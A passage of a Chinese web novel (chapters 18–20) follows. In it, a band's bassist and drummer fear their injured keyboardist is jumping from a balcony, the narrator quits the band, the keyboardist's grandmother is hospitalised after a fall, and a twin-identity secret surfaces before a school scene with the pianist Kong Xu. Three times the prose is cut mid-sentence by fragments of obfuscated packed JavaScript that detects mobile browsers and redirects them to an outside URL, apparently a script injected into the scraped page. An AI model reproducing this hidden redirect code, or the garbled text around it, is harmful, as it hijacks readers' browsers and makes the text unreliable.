小小的基地看上去简陋,却又五脏俱全,彭天的鼓还有丁尧的键盘都放在这,基地中间位置有一张酒红色的泛着毛边的旧沙发,旁边的小茶几差不多到人小腿肚的位置,漆掉了大半,甚至还有一台老式冰箱,正嗡嗡嗡吵闹不休地运作着。 彭天从冰箱里拿了瓶石榴汁递给邱以星,邱以星说自己不喝,彭天讶然:“这都你买的,你不喝几箱几箱地买?” 没等邱以星想好借口,他自顾自地帮邱以星找好了理由:“我知道了,你是买给我们喝的对不对?是不是看我们在地下室排练辛苦,心疼我们啊?” 邱以星觉得他越说越离谱,忍不住打了个抖:“没那回事……丁尧有哪些东西?我们动作快点吧。” 里面不通风,闻起来一股霉味,邱以星怕自己再呆上片刻会感染什么不妙的病菌。 彭天把找了两个大纸箱,纸箱都不甚干净,不知他从哪儿捡回来的破烂,丁尧的东西零零碎碎的:有一个睡枕,两件打工穿的外套,一顶鸭舌帽,三根铅笔和一支钢笔,几本边角打着卷儿的谱子,一盏充电小台灯,一个折叠床,充电宝,记账本…… 里里外外一通收拾,将两个纸箱装得满满当当,折叠床硬塞不进去了,纸箱已经岌岌可危,彭天找来一卷土黄色的胶带,刺啦一声扯开,三下五除二将纸箱缠得严严实实。 邱以星一手提着折叠床,一手拎着键盘琴包站在一边,彭天忙里偷闲看了邱以星一眼:“你先放下来吧,看着就重。” “没事。”邱以星说。 “感觉你今天……有点不太一样。”彭天说。 “哪儿?”邱以星扯了扯嘴角。 “话特别少,正正经经的,像个人了。”彭天将另外一个纸箱也缠好,随意地说道,“平时让你递个鼓棒都要啰嗦半天,说手酸腰酸,得付你工钱。今天忙活这么半天,任劳任怨一个字都不吭。看来一中的教育确实顶尖,能让人改头换面,重新做人。” 邱以星作势要把东西往地上扔:“那我不干了。” 彭天连忙说:“可别!你千万别这时候罢工,这两大箱东西,我一个人可扛不上去。” 两人把东西收拾得差不多,全小潭终于起床了,打着哈欠说让他们在丁尧家楼下找个地儿歇歇,再等他二十分钟。 彭天骂骂咧咧地说:“你他妈的全小潭,快点儿的!脏活累活干完了知道来了,净坐享其成!每次都迟到!” 全小潭懒洋洋的:“知道了知道了,马上,啊。” 彭天挂了电话,找小区里的老大爷借了辆电动三轮车,将东西都搬上三轮车车斗,邱以星将折叠床平放在纸箱上,琴包架在上面。 邱以星望着折叠床,说:“他平时……” “忙的时候就睡地下室,他手没受伤前跟我们一起排练,忙得脚不沾地,白天到处打工,晚上就懒得回家,直接睡地下室。”彭天说到这揉了把脸,郁闷地说,“尧哥能吃苦,在哪儿都能睡……老天对他真不公平。” 18. 第 18 章 彭天驾驶三轮车,邱以星紧握扶手坐在他旁边,一路风驰电掣骑到了丁尧家门口。 他们在楼下等了一会儿,全小潭顶着一头红毛终于不紧不慢两手插兜赶了过来,嘴里叼了根烟,烟雾缭绕地朝他们打了个招呼。 “咳咳咳,”彭天挥走呛人的烟,“天天抽,怎么还没把你抽死?” “来一根?”全小潭拿出一个挤扁的软塌塌的烟盒,冲邱以星一晃。 邱以星:“我不抽。” “装好学生装上瘾了?”全小潭鄙夷,“又不在学校,有什么关系。” “我真不抽,你也把烟掐了,”邱以星声音冷冷的,“我闻不了二手烟的臭味。” 全小潭把烟头掷在地上,拖鞋踩上去,用力一碾,满头问号:“大早上的吃炸药了,火气这么大?” 又看向彭天:“你怎么着他了?” 彭天摇头:“别赖我,跟我没关系。” 全小潭瞥一眼邱以星:“神经。” 丁尧住一栋老式居民楼的顶楼,没电梯,几人吭哧吭哧合伙把东西搬上去,累得在门口直喘,楼道里塞着许多废报纸、破纸盒、塑料品等物品。 “他知道我们今天来吗?不在家怎么办?”彭天提起肩膀,蹭了蹭脖子上的汗。 “应该在家,这个点他能去哪儿?”全小潭说,“我打个电话问问。” 邱以星抬头往年久失修斑斑驳驳的门上看了看,手指在门边一勾,大门便摇摇晃晃地开了。 “什么情况?”彭天瞪大眼睛,“门忘关了?” 全小潭掀掀衣领:“管他的,先搬进去再说,老子热死了。” 丁尧家跟邱以星设想的差不多,里面没有多少家具,看上都有些年头,墙上有张挂历,还是好几年前的,不过收拾得很整洁,也没有异味,闻起来远比全小潭的气味令人舒适。 “哟,还插了鲜花呢,”彭天手指头碰碰桌上一大捧插在刷牙缸里的百合花,“这么有情趣。” 那花上滚动着晶莹的水珠,看上去漂亮极了,将这灰头土脸的屋子衬得有了几分生气。 全小潭却感到几分奇怪:“这不对吧?” 彭天:“哪儿不对了。” “认识这么多年,我就没见过他这么讲究,手都这样了,还有心思插花儿呢,跟回光返照似的。”全小潭嘀咕说,“给他打电话,问问他在哪。” 彭天便给丁尧打去电话,仔细一听,铃声竟然是从卧室传来,全小潭转头看向丁尧紧闭的房门。 “人没走?”全小潭走过,敲了敲门,喊了一句丁尧,没人应。 彭天也过去喊:“尧哥?你没出去啊?” 他的话音刚落,房间里传来一声巨大的闷响,全小潭的面色猛地一变,用肩撞房门,好在门并不结实,轻而易举地被撞开,于是三人亲眼目睹丁尧一只脚踩在凳子上,另一只脚迈过阳台,整个身体朝下倒去—— 邱以星的头皮一炸,牙齿无法克制嘎吱嘎吱地打战,浑身的血液几乎逆流,将他的两眼冲荡得一片血红。 全小潭三两步飞奔过去,一把抱住丁尧的腰,将他从阳台拖了下来,从嗓子里爆出一句非人般的怒喝:“你他妈的想死是不是?!” 他松开的手变成拳头往丁尧的脸上砸过去,彭天两脚发软急忙去拦:“别打架,他手还没好呢!” “我怎么了就?什么想死?我晾个被子至于吗?”丁尧脸上满是委屈、震惊和不解,“这也要打我?” 只见他右手食指与中指被白色纱布牢牢包裹着,白得触目惊心。 彭天哑着嗓子:“你刚刚……晾被子?” 丁尧:“天气难得这么好,我放阳台晒晒,我刚把被子放架子上,你们就进来了。” 全小潭看了眼阳台,果然有床被子被搭在一根竹竿上,竹竿撑出去好远,需要人探身才够得着。 “你他妈的弄那么远一根竿,有病吗?”全小潭将胸口的浊气长长地吐了出来,捶了他一拳,“我还以为你要跳楼!” 丁尧一听,笑得双肩耸起:“不就是没了两根手指,我至于寻死觅活吗?” “那外面桌上的花是怎么回事?”全小潭问,“你什么时候开始养花了?” 丁尧闻言面色微微泛红:“女同事送的。” 误会解释清楚,全小潭像是嗅到八卦气息的狗,紧紧追问说:“到底女同事,还是女朋友?” 丁尧:“同事,还是前同事,我已经不在那儿干了。” 全小潭不知说了什么,丁尧用胳膊肘狠狠捅了他一记:“你他妈下不下流!别把所有人想得跟你似的。” 面对此景,邱以星像是被定住,站在原地一动不动。 丁尧看见他,眉头一挑:“小邱,你怎么也来了,过来我看看,是不是又长高了?” 邱以星这才将神魂收拢,微微迷茫地看过来。 丁尧也就比他大一岁,语气却出乎意料的老成,邱以星站在他面前,丁尧认认真真地打量他半晌,忽然开口说:“你是邱以星吗?” 邱以星心里一惊,彭天有些莫名:“他不是邱以星是谁?” 全小潭翻了个白眼,听丁尧继续胡说八道:“不太像,像个大明星。” 邱以星扯着嘴角笑了笑,没有说话。 丁尧一拍他的肩膀,一边走出房门,一边回头对全小潭说:“我键盘带回来了吗?” “带了,”全小潭说,“我可是扛了六楼,累坏了,中午得请我吃饭啊。” “那行,你帮我挂个二手网站卖了吧,”丁尧的声音听上去开朗得像是阳春三月里的微风,“反正以后也用不了。” 他的话音一落,整个房间里一片死寂。 他们几个人没想过键盘以后的归属问题,也不敢提,但丁尧却戳破他们小心翼翼维护的平和表象,丁尧疑惑地看着他们:“这都是怎么了?没事儿吧你们,别不吭声啊。” 彭天露出一个比哭还难看的笑:“尧哥,真卖啊?万一……” “没万一,我都想好了,以后不玩了。除非哪天我学会用脚弹——” “可拉倒吧,你有脚气,”全小潭打断他的话,“别熏着我们。” 丁尧两手一摊,笑:“我也不乐意这样,可不是没办法吗?” 过了半晌,全小潭低声问:“真不玩了?” “真不玩了。”丁尧说,“我骗你干什么。我打算做个小本生意,我奶年纪也大了,天天在外面捡破烂也不是办法,我一个人怎么过都行,但我不能让她一直这样。” 全小潭很快便接受丁尧的说法:“需要帮忙就提。” “那肯定的,”丁尧用没受伤的那只手挠了挠鼻尖,“别指望我跟你们客气。” 邱以星站在他们中间插不上话,丁尧说着便开始闲聊自己以后想干的买卖,在楼下开个烧烤店,或者花店,便利店都行,对他这种残疾人士也不是特别困难,他奶还能帮帮忙。 “开烧烤店吧。”全小潭一锤定音道。 彭天立即好奇地问:“为什么,有什么门道吗?” “咳,没什么特别的原因,”全小潭说,“进货多进点鸡翅和扇贝,我爱吃。” “方便你打秋风呢?”彭天翻了个大白眼,“我觉得便利店不错,现在不是有那种二十四小时便利店么?都不用人在里面的,顾客自己挑,自己付账,你就把那折叠床往那儿一铺,每天躺着收钱。” 两人七嘴八舌吵就丁尧日后的生意吵得不可开交,丁尧单腿靠着墙站立,脸上也是没什么心事的样子,邱以星说:“你自己就没什么想做的?” 丁尧:“我?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016795|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >邱以星说:“都是他们在说。” 丁尧想了想:“我啊,我小时候挺喜欢小动物的,你说我要不要开个宠物美容院?” 听着就不靠谱,邱以星从自己随身的包里掏出一个红包,递给丁尧:“这是我这几年存下来的钱,两万左右,不多,但总比没有好,你拿着。” 丁尧眼皮一抖,笑容卡住,没接。 彭天和全小潭闻声止住吵闹,不约而同看了过来。 邱以星拽过他的手,将红包塞到他手里,他给钱其实图个心安。 这钱是“邱以星”之前跟他们一起演出时攒的,邱以星花钱并不大手大脚,家里人对他的爱好也都比较支持,以至于他存了一些下来,他没地方用,放那儿也是放着,不如给丁尧。 他想,以后未必会与他们联系了,能帮一把就帮一把吧。 “你什么意思?”丁尧要把红包还他,嘴角的笑没了,“你看不起谁呢?” 邱以星:“我没有,我只是——” “这都是谁啊,这么热闹呢。尧尧,你朋友看你来啦?”一道上了年纪的声音在门边想起,与丁尧相依为命的奶奶挎着菜篮回来了,她腰背微微佝偻,鬓角藏着不少银丝,笑容很是亲切。 丁尧连忙把红包收起来,不让她看见。 丁尧挤出一个笑:“这我奶奶。” “这哪是奶奶,明明就是阿姨,”彭天甜甜地喊道,“阿姨好。” “滚蛋,别占我便宜。”丁尧使劲一拍彭天的脑袋。 奶奶笑得别提多开心,她说:“你们好,中午留下来吃饭,你们来得正是时候,我买了不少菜。你们跟尧尧玩儿,我去做饭。” 全小潭和彭天朝丁尧挤眉弄眼,欠揍地喊他“尧尧”。 邱以星本想立即告辞,可又因为奶奶的话而留了下来。 他幼年也是与奶奶生活在一起,与奶奶的感情分外深厚,看见丁尧的奶奶竟然生出几分羡慕来,彭天和全小潭跟丁尧在房间里玩,他则是去厨房给丁尧奶奶打下手。 奶奶劝阻无果,叹气说:“你这孩子,怎么这么懂事。” 邱以星摇头:“我第一眼见您,就觉得您特别亲切。” 奶奶和邱以星在小厨房里忙活,邱以星帮忙摘菜,奶奶特意用小碗蒸了一碗鸡蛋羹,末了撒上一把细碎的葱花。 她欣慰地说:“尧尧不念书以后,我一直担心他跟外面那些乱七八糟的人来往,他爸妈走得早,我又没有文化,不能给他什么好意见,这次他的手受伤,我急得整宿整宿睡不着,不知道他以后要怎么办……我看到你就稍微放心了,他还有你这样稳重可靠的朋友。” 邱以星心说奶奶只看表现,他一点也不稳重可靠:“丁尧他很乐观,以后他不管做什么,只要不放弃自己,就不会差到哪里去,这是我们老师说的。” 奶奶眼角的褶子里都是笑容:“你们老师是文化人,我听着是这样没错。” 吃饭的时候,奶奶特意将鸡蛋羹拿给邱以星吃,丁尧张了张口,心想他这个亲孙子都没这个待遇:“邱以星,你对我奶奶下什么迷药了?” 奶奶的偏爱很是坦荡:“人家小邱在厨房忙活,我还不能奖励他一碗鸡蛋羹?” 彭天和全小潭眼红,一人舀走一大勺,邱以星连忙护住:“不给!” 奶奶说:“下回你再来,奶奶还给你做鸡蛋羹。” 邱以星点头,答应得干脆,完全忘记要与乐队分道扬镳的事。 吃完饭,邱以星还要洗碗,被奶奶赶到一边:“你跟他们玩去,这么大一小伙子怎么喜欢往厨房钻。” 邱以星惦记着要去看孔栩的演出,眼下时间还比较充裕,他便走进丁尧屋里。 另外两人正在抢丁尧的游戏机,邱以星漠然地看了片刻,然后说:“我有话跟你们说。” 19. 第 19 章 “你要说什么?”丁尧问,又把红包拿出来,打算还他。 邱以星说:“我考虑了一下,乐队的事以后我就不参与了。” 全小潭正与彭天热火朝天地扭打在一起,手脚牙并用抢夺那个不属于他们的游戏机,闻言一齐停下,倏地扭头看过来。 “就这样,”邱以星说,“没了。” “什么意思?”全小潭掏了掏耳朵,“‘不参与’是什么意思?” 彭天率先松开全小潭的手脚,将他蹬下床,探身猛地拽住欲转身的邱以星的手腕:“你等等!” 邱以星耐心地说:“意思是我退出乐队,以后你们的事我不会再掺和,你们去找别的吉他手,吉他手这么多,总能找到合适——” 话没说完,迎接他的是迅如疾风般硬邦邦的拳头,彭天气得胸口如海啸般澎湃起伏,嘴唇疯狂哆嗦着,抬起一只手指着他:“你、你再说一遍,你要干什么?” “我要退出乐队,”邱以星的脸颊几乎是瞬间火辣辣地烧起来,他没有还手,知道这事是自己理亏,但他没有更好的办法,对这群人他也没有多余的感情,他的眼睛仿佛两颗无机质的玻璃球,淡然地望着彭天,“让我说几遍都行。” 全小潭的脑子运转不过来,喃喃低语道:“这是怎么了?为什么啊?” 丁尧看着邱以星,神色复杂,几度想要开口,但最后没有说话。 “你可以理解为,”邱以星说,“我真正的想法。” “那之前呢?之前的不是你吗?”彭天双眼通红,冲上去拽住他的衣领,咆哮着,“不是你跟我说,我们要一直在一起,要开世界巡演,还要赚很多很多钱?!你把那个邱以星还给我!还给我!” “对不起,”邱以星苦笑说,“也许有那一天,这我说不定。” 老房子不隔音,争执从门缝里逸出去,正洗碗的奶奶心里一慌,碎了个碗。 她顾不上收拾,匆匆忙忙迈过碗的碎片,嘴里说着“都多大的人了,不要吵架啊”,不留神被伸出来的长凳腿绊倒,临闭眼她还在想,这帮孩子玩得好好的,怎么吵起来了?吵架多伤感情呀,可真不让人省心。 邱以星蹲在急救室门口,两手抱着头,将脸深深地埋进膝盖。 隔绝视野里所有的事物,这个姿势令他感到安全。 丁尧缴费去了,彭天和全小潭站在门另一边,对视一眼,又一句话没说。 邱以星浑身脱力,身上冒着冷汗,忍不住地轻轻颤抖着。 都怪他,他想,如果不是他没预兆地说要退出乐队,彭天也不会跟他发生争执,奶奶也不会摔倒,都是他的错。 此刻跟那天的情形一样。 爸妈无助地抱在急救室前,一边祈祷一边啜泣。 如果不是他突然变卦,说要提前一小时去博物馆,他和邱以睿就不会遇到那辆失控的货车,如果他和邱以睿换个位子,邱以睿就不会遭受重创,以至于抢救无效而死亡。 邱以星眼底一阵阵地发黑,牙齿紧紧地咬合在一起。 都是他的错。 他活着就没有发生过一件好事,都是他的错,为什么活下来的是他,如果是邱以睿该多好。 邱以睿那么聪明,什么难题都能成功解决,什么局面都能轻松应对。 会骑车的是他,会弹吉他的是他,每次考试名列前茅的是他,他抢走邱以睿在人间活下去的名额,就像是抢走他的爸爸妈妈,抢走他住的卧室,抢走他的朋友—— 他不想当邱以星—— “邱以星?”丁尧走过来,用脚轻轻一踢他的皮鞋,“起来坐着吧,等会儿腿麻了。” 耳边所有的杂音瞬间如潮水般褪去,邱以星听到了人的声音,抬起脸来。 “你不是等会儿还有事吗?”丁尧说,“这我看着,你忙你的去。” 邱以星没动。 “这钱……”丁尧动了动嘴唇,“算是我借你的,以后一定会还你。” 邱以星“嗯”了一声,还是没动。 一直到急救室大门打开,邱以星和丁尧冲到医生跟前,医生说好在送到医院及时,血已经止住,没有大碍,这几人才重重松一口气。 在活生生的一条性命面前,退不退出乐队这件事就显得无足轻重了。 奶奶失血过多,脸色苍白,还没醒来,被护士推到普通病房。 丁尧便一直守在床头,过了会儿,他说要回一趟家取些常用的衣物和洗漱用品,让彭天和全小潭在这先陪着奶奶。 两人没有二话,应下来,丁尧便一拍邱以星的肩膀:“你跟我出来。” 邱以星跟着丁尧走出病房门,丁尧胳膊搭在邱以星肩膀上,长长地舒出一口气:“我差一点儿就失去这世上最后一个亲人了。” “对不起。”邱以星低低地说。 “没怪你,”丁尧揽着他往前走,“不是你的错,你别也别怪自己。” 邱以星不认同丁尧的话,丁尧继续说:“你是弟弟,对吗?” “……什么意思?”邱以星缓缓眨眼,轻轻地问。 “他之前跟我说,有个跟他长得一模一样的弟弟,七岁那年才被接回家,是你吧。”丁尧温声说,“你们俩性格真差挺大的,不过长得确实一模一样,肉眼看很难找出不同。” 邱以星的气息乱了,猛地停下脚步。 丁尧看着他继续说:“他这人心眼很多,其实非常瞧不上我们,我看得出来。这小鬼,又想玩乐队,又不想让家里人知道他跟我们玩,于是对外声称叫做‘邱以星’……这是,你的名字吧?” 百分百邱以睿的风格,觉得玩乐队不务正业,在外面做什么有损形象的事便会报他的名字,自己永远都是爸妈眼里的乖孩子、老师心目中的乖学生。 邱以星脑子乱极了,他以为没有人知道。 “我……” “他出事之后,因为联系不上他,我去找过他,才知道他出了事。”丁尧说,“我没告诉全小潭和彭天,怕他们伤心,本以为气象台的气数到此为止,没想到你出现了。我当时吓个半死,以为他诈尸了,后来想想,应该是你才对。 “你怎么一直在模仿他?真的太像太像了,我以为你们的关系没有那么好。”丁尧说,“退出乐队也挺好的,做回你自己吧,你应该有一个全新的生活。其实他出事那天,乐队就应该变了,你一直撑到现在,是我们要感谢你。” 做回自己。邱以星听见丁尧说。 自己是什么样子的?邱以星不太清楚。 他有时候很想变成邱以睿,有时候却又痛恨自己与他长着同样一张脸,永远也无法摆脱的同样一张脸。 “走吧,”丁尧推了他一把,“这不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016796|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你需要管的事,走吧!” 邱以星被他推到医院外面,脸上落下来一缕缕冰凉的东西,他用手一摸,原来下雨了。 他拿出手机看了眼时间,三点半,距离孔栩的演出已经过去一个半小时。 “走啊!”丁尧见他不动,朝他大吼,“快走啊!” 吼声传进邱以星的耳朵,他的眼珠动了动,蓦地转过身,不管不顾地冲到一辆出租车前,拉开车门,对司机说:“师傅,我要去岚江大剧院,麻烦您快点儿!” 岚江大剧院,一号演出厅。 孔栩穿着一套黑色礼服,端坐在三角钢琴前弹肖邦的波兰舞曲《英雄》。 开学典礼上他因与何斯清赌气、任性换掉的曲子,此刻自由地在他指尖倾泻,整个会场的人如痴如醉,何斯清两手紧紧地握在一起,一眨不眨地盯着孔栩表演的身影。 台下第一排坐着他的老师易姝心与母亲何斯清,第二排最中间的位置始终空缺,像是一排整整齐齐的牙齿凭空缺了一颗。 孔栩的手指离开琴键,起身,恭敬地朝看台鞠了一躬。 目光若有似无地从第二排掠过。 掌声如雷鸣,长久不息。 何斯清也在台下鼓掌,鼓得比任何时刻都要认真,都要热烈,手掌被她拍得通红,上午刚从国外赶回来,特意来听孔栩演奏的易姝心微笑着对何斯清说:“我看他再练几年,就要超过我了。” 何斯清嘴上虽谦虚,可满脸都写着骄傲。 她实在是太骄傲了,孔栩的表演是那么完美,何斯清在他身上看到了一种巨大的可能性,是她此生永远无法抵达的可能性。聚光灯的光也无法掩盖他本身的光芒,何斯清在此刻认定,孔栩无疑是出色的,如此天赋异禀,她的目光不仅有着欣赏,还有对于某种精美物件的打量,这她心潮再度澎湃荡漾,连大脑都情不自禁地微微眩晕起来, 来看演出的人群陆续离开演出厅,孔栩望着中间的空缺位置,心中一片平静。 他没有生气、愤怒之类的心情,弹琴于他而言是享受,他不想让其他东西破坏他心里的感受,于是选择忽略。 何斯清要带来看演出的好友们与易姝心一起聚个餐,让孔栩也一起去。 他们已经很久没有正常沟通了,这次演出算是破冰,孔栩全程没有笑意,面无表情地说:“好啊,我也好久没见易老师了。” 何斯清松了口气。 一直到演出厅空无一人,再也不会有人进来时,孔栩才收拾好自己的东西,他坐上何斯清的车,对她说:“妈,明天开始我坐你的车去上学,行吗?” “当然行了,”何斯清声音洋溢着愉悦,“天气也转凉了,天天在外面等公交也冻得慌。” 何斯清的车穿过大剧院前宽阔的主干道,外面下起小雨,好在他们出来没一会儿就停了。 天空一碧如洗,连云看上去都比平时要洁白蓬松,打开车窗,有清新的气味,孔栩闭上眼,他觉得有一点累。 邱以星气喘吁吁地跑到大剧院门口,一辆黑色轿车与他擦身而过,他两手撑着膝盖,望见孔栩坐在副驾驶的位置,靠着椅背闭目养神,只眨眼的功夫,车便开远了。 “孔……”邱以星想喊孔栩的名字,可话音堵在了喉咙口。 喊他又有什么用呢? 他总归是失约了。 20. 第 20 章 又是周一,孔栩坐着何斯清的车,早早地来到教室,刚进门就看见柴晓驰长吁短叹,脸上愁云惨淡,手掌下面压着一沓上周考试的试卷。 “柴老师好。”孔栩礼貌地喊了一声,走到自己座位,疑惑地看了一眼罗鸣玉,不解柴晓驰怎么这么早来。 罗鸣玉把手掩在嘴边,偷偷看一眼柴晓驰,压低声音对孔栩说:“平均分比隔壁低两分,把老柴气得一晚上没睡着。” “有这么差么?”孔栩不解,“不是一般难度吗?” “是不难,可是——”罗鸣玉还想说什么,瞥见柴晓驰扭头,立即把头低下,装作认真预习的模样。 柴晓驰的脸漆黑如锅底,任谁看了心肝脾肺都要抖三抖。 直到早读课进行到一半,邱以星才姗姗进门,他抿唇低头,安静如鸡,打算贴着门缝溜进来,被门口的柴晓驰当场抓获,邱以星一路跑得头发都立了起来,忙朝柴晓驰绽放一个讨好的笑容,柴晓驰嘴角拉得平直,不问理由,不听解释:“去后面站着。” 邱以星放下书包,很是顺从地站在教室后面。 他看见孔栩穿着校服,腰板挺拔,后脑乌黑的发丝钻进衣领,一只手按着书页,另一只手不疾不徐地轻轻翻动一页。 邱以星看了一会儿,在心里默默叹了口气。 早读快结束时,柴晓驰终于憋不住,站在讲台开始大声训话。 “马上开学就一个月了,有些同学还没进入学习状态!这次单元考试简直是一塌糊涂,全都是讲过的题!”柴晓驰越说越激动,“我就是把答题纸扔地上踩一脚,选择题都能拿上几分!” 全班鸦雀无声,邱以星做贼心虚,不敢与柴晓驰对视。 “更有甚者!”柴晓驰重重往讲台上一拍,唾沫横飞,“竟然有整整一面没写,简直是在挑衅我!” 孔栩知道说的肯定不是自己,他并没有多在意,他对旁人不感兴趣,只要不是自己考砸了就成。 柴晓驰开始一张张发试卷,叫到孔栩名字,柴晓驰这才感到了一丝安慰:“一百五,班里唯一一个满分。” 又说:“你们倒是学学孔栩,门门功课都是高分。” 孔栩并不意外,他上讲台去拿自己的试卷,柴晓驰读到下一个人名:“邱以星。” 邱以星立刻站笔直。 孔栩瞄了一眼邱以星试卷,竟然是“2”字打头,他难以置信地瞪大眼睛,使劲一眨,又瞄一眼。 “你考试的时候睡着了?”柴晓驰怒意横生,“你故意考成这样的?是不是成心要把我气死?” 邱以星臊眉耷眼地上台领试卷,低落地说:“老师,我不是故意的。” 这话柴晓驰不想听,他宁愿邱以星是故意考砸,也不能相信他认认真真写出来这样一张垃圾,他看了邱以星一眼,没有再批评,对他说:“下课去办公室找我,回自己座位。” 邱以星低头拎着试卷,内心分外沉重地坐回座位。 闻旋一百四,罗鸣玉也有一百三十几,全班就他一个不及格,不及格就算了,竟然离及格线还那么遥远。 邱以星心塞了一节课,下课后面如死灰地去找柴晓驰,等他走后,闻旋扭头对罗鸣玉说:“他最近是不是遇到什么刺激了?” 罗鸣玉摇头:“这我哪知道?” 闻旋又问孔栩:“诶,小木鱼,你这段时间不是跟他走得挺近,他什么情况?” 孔栩:“不清楚。” 闻旋:“真奇怪,他每晚还找我借作业看,想请教他几题,他就说不知道,我还以为他是装的……不会是真不会吧?” 罗鸣玉很是八卦地凑过来,一双眼睛滴溜溜的:“他还每晚找你借作业?这事儿我怎么不知道,就借作业看啊?” 闻旋一掌推开她的脸:“那还能干什么?” 罗鸣玉“嘿嘿”笑两声:“他怎么不找别人,单单找你,是不是对你有什么想法?” 这笑容刺到孔栩耳朵了,孔栩拿起水杯出去倒水,临走看见闻旋卷起书敲罗鸣玉的脑袋:“我看他对孔栩的想法都比对我的多,别胡说八道。” 饮水机在办公室旁边,有不少人在排队接水,孔栩耐心等待片刻,接了一杯温水,旋上杯盖,刚要转身,柴晓驰推开办公室的门,一眼看到孔栩,便朝他招手:“你来一下。” 孔栩不解其意,跟上去,看见邱以星低头塌肩,整个人被训得已经没了脊梁骨。 柴晓驰对邱以星说:“你说你上课听不懂,我给你找个人辅导你。” 孔栩意识到不妙,紧接着柴晓驰说:“孔栩,辅导他这事就交给你,你愿不愿意?” “我不——” 柴晓驰飞快抿了一口红枣枸杞茶,打断他的话:“你不愿意也得愿意,别太独了,你生活在集体里,不可能不跟任何人打交道。邱以星不笨,你稍微点拨几句,我听你妈说你高中课程都学得差不多了,教学相长,帮助他人对你也有好处,不会影响你学习。” 好话歹话都被他说完,孔栩无可奈何:“好吧。” 柴晓驰这才放邱以星一马,眼不见为净地挥手:“你也回去吧。” 两人并肩走在走廊,邱以星几次想开口找孔栩说话,快要教室门口,他说:“昨天我……” 孔栩:“你有哪些不懂的,有时间按照学科整理一下,我回去会整理笔记给你看看。” 说到笔记,孔栩顿了一下:“算了,我打印几份题给你写吧。” 孔栩没有提昨天的事,好像这事从未发生过,邱以星把满肚子的话憋回去,从喉咙里挤出一个字:“哦。” 看着像没事儿人,邱以星知道,与孔栩的关系一朝回到解放前,之前的努力全付诸东流。 孔栩并不是容易接近的人,他跟柴晓驰说的一样,很“独”。 他总是一个人练琴,一个人学习,正好这两件事都不需要他人的参与,并且他都达到了顶尖水平,助长了他“不需要他人”的想法。 好不容易让他笑一笑,近距离听他弹钢琴,还被邀请去看他的演出……邱以星甚至觉得自己在孔栩心里与其他同学是不一样的,最起码,是有那么一点不同的。 或许确实有所不同,邱以星想,现在的自己对孔栩来说是一个巨大的麻烦、累赘,还摆脱不了。 孔栩却不明白邱以星心里那些弯弯绕绕,他想,一个开学摸底考能考年级前十的人,平时在学习上总跟他暗戳戳较劲的人,还偷摸着买跟他一样课外资料的人……种种迹象表明,邱以星又在装。 搞不懂邱以星到底在想什么,这么希望得到关注? 孔栩第一次因他人感到头痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016797|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会有这么难搞的人?是老天对他总是独来独往的惩罚吗? 有生之年他头一回想要敞开心扉,试试交一个朋友,结果这个人只是在耍他。 演出厅从头到尾都不出现,为了看他失望的表情?想嘲弄他竟然会对他产生一丝信任? 还有这次,装成绩差是为了让他掉以轻心? 孔栩越想越觉得接近真相,他捏着手指,绝对不能让邱以星得逞。 如果表现出生气或者愤怒,邱以星大概会又得意又开心地大笑吧。 孔栩轻轻呼出一口气,拍拍邱以星的肩膀,朝邱以星露出一个罕见的能够融化冰雪的笑容:“偶尔考差一次不用那么在意,以后努力就能追上来的,加油。” 邱以星:“……?……!” 邱以星悚然一惊! 什么意思?什么情况? 他朝我笑了? 他刚刚朝我笑了? 他没生气? 他竟然没生气? 邱以星方才一脚迈进地狱,此刻却仿佛登入天堂,周身沐浴柔和的圣光,有天使围绕他,高唱“哈利路亚”。 “谢谢……”邱以星情难自禁,手臂勾住孔栩脖子,说,“早上你什么时候来的?我在站台等你,一直没等到你。” “你等我了?”孔栩微微惊讶。 “啊。”邱以星蹙眉,“我还以为你今天有什么事请假了。” 原来如此,所以他早上迟到。 孔栩心里泛着古怪,表情却显得非常惋惜:“我妈早上送我来的。” “难怪,”邱以星问,“那明天你还坐公交吗?” “坐。”孔栩朝他微笑,“今天只是例外。” 邱以星很满意这个回答:“那明天我们还一起吧。” 放学后孔栩照例去琴房练琴,邱以星趴在一边的桌上写当天的作业,孔栩在自己草稿本上列了几道基础题,便丢给邱以星,让他做去。 邱以星哪有心思写呢?孔栩弹的都是一些高昂激烈的片段,他写着写着思绪就飘走,要么看孔栩的侧脸,要么盯着他的指尖。 他恍恍惚惚地想,如果当初没有放弃弹琴,会不会跟孔栩弹得一样好呢? 说不能还能跟他合奏,四手联弹什么的。 他心不在焉的样子被孔栩的余光捕捉,孔栩按住琴键,偏脸问:“写几道了?” 邱以星苦恼,试探性地说:“如果我说我一题都不会……” 